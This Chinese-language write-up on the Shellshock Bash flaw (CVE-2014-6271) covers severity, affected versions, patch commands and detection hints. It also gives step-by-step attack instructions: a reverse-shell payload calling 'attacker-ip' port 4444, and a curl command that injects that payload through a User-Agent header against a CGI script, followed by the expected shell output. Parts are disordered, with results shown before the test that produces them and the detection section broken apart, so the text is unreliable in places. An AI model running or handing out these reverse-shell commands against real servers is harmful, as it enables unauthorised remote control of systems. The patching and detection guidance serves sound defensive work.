
CVE-2014-6271

存在于 GNU Bash 环境变量中的25年零日远程代码执行漏洞
CVE-2014-6271,昵称 Shellshock(亦称 Bashdoor),是 GNU Bash 外壳中的一个严重远程代码执行(RCE)漏洞。
攻击者可通过精心构造的环境变量(通过 HTTP 头部、DHCP、SSH 等方式)获得对底层服务器的远程 shell 访问权限——通常无需身份验证,且用户交互极少。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2014-6271 |
| 严重性 | 🔴 严重 |
| CVSS 评分 | 10.0(最高) |
| 攻击向量 | 远程(HTTP、DHCP、SSH 等) |
| 是否需要身份验证 | ❌ 无(多数向量中) |
| 是否需要用户交互 | ❌ 无(CGI/DHCP 情况下) |
| 影响 | 服务器完全沦陷 |
攻击者注入一个精心构造的变量(例如在 User-Agent 头部中):
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Bash 错误地将有效载荷视为函数定义加尾部命令。变量导入时,(); 后面的代码会立即执行。
该命令以 Web 服务器/进程的权限(通常是 root 或 www-data)运行。
结果:
# 获得远程 shell 访问权限
whoami
www-data
✅ 存在漏洞!(Shellshock RCE 已触发)
vulnerable
test
您还将看到反向连接立即回连。
env x='() { :;}; echo vulnerable' bash -c "echo test"
它将立即返回:
vulnerable
test
(这确认 Bash 执行了注入的命令。)
对存在漏洞的 Apache CGI 脚本运行此 curl 命令:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh
您将在 netcat 监听器中看到以下确切输出:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
该输出直接出现在您的反向 shell 中。没有错误,没有404。
这意味着您拥有服务器的完全远程代码执行能力——环境变量注入完美生效。
所有 GNU Bash 版本:
1.14 至 4.3(补丁级别30之前)
(包括 Linux、macOS、BSD、嵌入式设备)
请立即升级至:
Bash 4.3 补丁级别30或更高版本(推荐4.4+)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {查找:
() { 的可疑 User-Agent / Referer入侵指标可能包括:
() { :;};/bin/bash -i恶意头部/DHCP/SSH → Bash 导入环境变量
↓
函数定义加尾部命令被执行
↓
任意命令 / 反向 shell
该问题导致了多个后续 CVE(未完全修复):
| 风险领域 | 影响 |
|---|---|
| 保密性 | 🔴 高 |
| 完整性 | 🔴 高 |
| 可用性 | 🔴 高 |
如果您在2026年运行任何 Linux/macOS/BSD 服务器: 🔥 立即修补 Bash(即使是气隙系统)。 💡 如果暴露在互联网上的未修补 Bash 正在运行,假设已被攻破。 🛡 进行完整的日志审查和完整性检查。